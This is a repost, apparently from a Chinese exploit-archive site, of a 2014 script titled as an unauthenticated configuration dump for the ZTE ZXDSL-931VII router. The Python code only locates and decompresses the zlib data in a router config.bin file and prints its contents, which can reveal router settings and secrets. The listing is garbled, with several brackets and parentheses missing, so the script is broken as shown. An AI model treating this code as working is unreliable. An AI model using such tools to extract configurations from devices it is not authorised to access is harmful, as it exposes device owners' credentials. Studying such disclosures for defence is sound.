首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ZTE ZXDSL-931VII Unauthenticated Configuration Dump
来源:l0ukanik0s@hotmail.com 作者:L0ukanik0s 发布时间:2014-09-18  
#!/usr/bin/env python
import zlib
print "################################################"
print "#   THe W0lf is so  close                      #"
print "# ZTE 931Vii Router configuration unpacker     #"
print "#   Find configuration file @                  #"
print "#  L0ukanik0s 2014 Hack-Hosting                #"
print "#l0ukanik0s@hotmail.com                        #"
print "################################################"
   
print "Enter your config.bin path: e.g root@l0ukanik0s:~#/Desktop/931router_config.bin"
configfile = raw_input("File Path :").strip()
  
magic_numbers = ['\x78\xDA'
filename = configfile
  
  
infile = open(filename, 'r'
data = infile.read()
  
  
pos = 0 
found = False
  
  
while pos < len(data): 
        window = data[pos:pos+2
        for marker in magic_numbers: 
                if window == marker: 
                        found = True 
                        start = pos 
                        print "Start of zlib %s" % pos 
                        rest_of_data = data[start:] 
                        decomp_obj = zlib.decompressobj() 
                        uncompressed_msg = decomp_obj.decompress(rest_of_data)                  
                        print "Configuration of ZTE 931 File Content: %s" % uncompressed_msg 
                        break 
        if pos == len(data): 
                break 
        pos += 1
  
  
if found: 
        header = data[:start] 
        footer = decomp_obj.unused_data
  
  
if not found: 
        print "Sorry, no zlib found." 
  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Phpwiki Ploticus Remote Code E
·seafile-server 3.1.5 Denial Of
·WordPress Slideshow Gallery 1.
·Oracle MyOracle Filter Bypass
·ALCASAR <= 2.8.1 - Remote Root
·Seafile-server <= 3.1.5 - Remo
·HttpFileServer 2.3.x Remote Co
·GetSimpleCMS PHP File Upload
·Rooted SSH/SFTP Daemon Default
·Joomla Mac Gallery <= 1.5 Arbi
·Railo 4.2.1 Remote File Inclus
·Joomla Face Gallery 1.0 Multip
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved